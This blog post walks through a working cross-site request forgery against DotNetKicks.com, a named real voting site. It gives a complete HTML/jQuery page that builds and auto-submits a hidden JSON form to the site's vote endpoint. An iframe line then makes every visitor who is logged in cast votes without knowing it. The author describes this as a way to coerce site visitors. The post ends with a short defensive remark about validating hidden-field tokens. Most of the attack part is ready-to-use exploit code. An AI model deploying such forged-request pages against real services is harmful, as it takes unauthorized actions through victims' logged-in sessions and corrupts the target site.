For a little bit of background I would recommend that you read the article that I originally wrote titled XSS by Example. I was originally intrigued by Cross Site Scripting and decided to give it a try. As dblackshell pointed out in the comments what I had originally attempted was CSRF or Cross Site Request Forgery. Following the link he put in the article and reading up a bit more I finally figured out how to perform a Cross Site Request Forgery to kick an Article at DotNetKicks.com (a rating site similar to Digg for .Net developers).
CSRF what didn't work
If you read my previous article you would have seen my first two failed attempts at CSRF. In one attempt I tried a cross site AJAX post which the browser wouldn't allow. In my second attempt I tried to load DotNetKicks in an IFrame and then manipulate it from my web page which the browser didn't allow.
CSRF what did work
I knew that the request needed to be a post so what I finally ended up getting to work was a Form with an action that posted the values to DotNetKicks.com. Below is an image from Firebug showing the request that I needed to forge.
AJAX can make CSRF difficult
If you are familiar with Firebug than you can clearly tell that the post above is an AJAX post using JSON and not simply a name value pair. At first I had a difficult time duplicating the request as the following type of form would not work.
<form>
<input type="hidden" name="id" value="1" />
<input type="hidden" name="method" value="kickStory" />
<input type="hidden" name="params" value="41812" />
<input type="hidden" name="params" value="true" />
</form>
What I finally got to work was an input element with a blank name and a value of the JSON string that I wanted to replicate. Below is the code that will vote for whatever article you choose.
<html xmlns="http://www.w3.org/1999/xhtml">
<head id="Head1" runat="server">
<title>RunXc CSRF example</title>
<script type="text/javascript"
src="http://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js"></script>
<script type="text/javascript">
$(document).ready(function() {
var kickit = location.search.substring(4);
$('#hidDiv').html(
'<form name="csrf" id="csrf" ' +
'action="http://dotnetkicks.com/services/ajax/ajaxservices.ashx" method="post">' +
' <input type="hidden" name="" value=' + "'" +
'{"id":1,"method":"kickStory","params":['+ kickit +',true]}' + "'" + '/>' +
' </form>');
document.getElementById("csrf").submit();
});
</script>
</head>
<body>
<form id="form1" runat="server">
<div>
</div>
</form>
<div id="hidDiv" style="display:none;">
</div>
</body>
</html>
If you create an ASPX page using the html above you can coerce anyone on your website to kick an article of your choosing (as long as they are still logged on at DotNetKicks.com. remember that is how CSRF works) with a simple Iframe somewhere else on your site that looks like this.
<iframe id="dnk" name="dnk" src="csrf.aspx?id=43310" ></iframe>
Now that I know this what should I do?
Information is power. I hope with this little script that anyone who has a website that could be targeted by CSRF that they might be able to hack their own site and then figure out how to protect their site from it. You need to understand how hackers will attack your site to be able to protect yourself from it. I know that you can use a hidden field and validate the value against what you sent out but I would like to know what others are doing to protect against this kind of attack.